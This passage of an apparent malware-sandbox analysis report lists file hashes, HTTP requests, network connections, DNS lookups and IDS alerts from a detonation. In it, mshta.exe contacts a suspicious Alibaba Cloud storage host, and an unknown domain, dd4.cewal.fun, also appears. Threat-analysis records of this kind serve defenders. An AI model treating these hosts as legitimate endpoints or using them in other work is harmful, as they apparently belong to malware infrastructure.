8128powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pfyficpx.wrw.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8128powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nzaq2jom.jbq.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7084powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WVGOSQDVDUWZQZNM0L6Q.tempbinary
MD5:13AECF0401CB14A487CCDA3A400FE0D4
SHA256:735AB491EE8DFDDEFE3E123BBD28A8F3B3C49D279322AEE1983394FDC66F8E47
8128powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
7860powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:BF777B8714F83C5C0D8E861C4C3AF052
SHA256:1F496E922348F488BE523FC4578673ADC801085150B5763868F4600012EBCE9D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
27
DNS requests
18
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.53.40.178:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
7544
mshta.exe
GET
200
151.101.130.133:80
http://ocsp.globalsign.com/rootr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCDQHuXxad%2F5c1K2Rl1mo%3D
unknown
—
—
whitelisted
7544
mshta.exe
GET
200
151.101.66.133:80
http://ocsp2.globalsign.com/rootr3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBT1nGh%2FJBjWKnkPdZIzB1bqhelHBwQUj%2FBLf6guRSSuTVD6Y5qL3uLdG7wCEQCB5auY5G81uRwv%2BheHGMha
unknown
—
—
whitelisted
7544
mshta.exe
GET
200
151.101.130.133:80
http://ocsp.globalsign.com/gsgccr3ovtlsca2024/ME0wSzBJMEcwRTAJBgUrDgMCGgUABBT%2BeHEVW1om2JjNh%2BetTEbfp%2BiVWQQU2tOoCEgMNDdY7uWndS5Z%2FNbcPDgCDHbZiRGImdhGgBRMDg%3D%3D
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2108
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2108
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.53.40.178:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
7544
mshta.exe
47.79.48.175:443
sys-update-o6ihgtt.oss-ap-southeast-1.aliyuncs.com
RCN-AS
US
suspicious
7544
mshta.exe
151.101.130.133:80
ocsp.globalsign.com
FASTLY
US
whitelisted
7544
mshta.exe
151.101.66.133:80
ocsp.globalsign.com
FASTLY
US
whitelisted
2112
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3216
svchost.exe
20.198.162.78:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
SG
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 20.73.194.208
whitelisted
crl.microsoft.com
  • 23.53.40.178
  • 23.53.40.176
whitelisted
google.com
  • 142.250.186.142
whitelisted
sys-update-o6ihgtt.oss-ap-southeast-1.aliyuncs.com
  • 47.79.48.175
unknown
ocsp.globalsign.com
  • 151.101.130.133
  • 151.101.194.133
  • 151.101.66.133
  • 151.101.2.133
whitelisted
ocsp2.globalsign.com
  • 151.101.66.133
  • 151.101.2.133
  • 151.101.194.133
  • 151.101.130.133
whitelisted
client.wns.windows.com
  • 20.198.162.78
whitelisted
login.live.com
  • 20.190.159.128
  • 40.126.31.73
  • 40.126.31.131
  • 40.126.31.67
  • 40.126.31.71
  • 40.126.31.3
  • 20.190.159.68
  • 20.190.159.2
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
dd4.cewal.fun
  • 104.21.80.1
  • 104.21.48.1
  • 104.21.16.1
  • 104.21.32.1
  • 104.21.64.1
  • 104.21.96.1
  • 104.21.112.1
unknown

Threats

PID
Process
Class
Message
2196
svchost.exe
Misc activity
ET INFO DNS Query to Alibaba Cloud CDN Domain (aliyuncs .com)
7544
mshta.exe
Misc activity
ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI)
4120
mshta.exe
Misc activity
ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI)
4120
mshta.exe
Misc activity
ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI)
7624
mshta.exe
Misc activity
ET INFO Observed Alibaba Cloud CDN Domain (aliyuncs .com in TLS SNI)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
/rolling_in_the_deep.ogg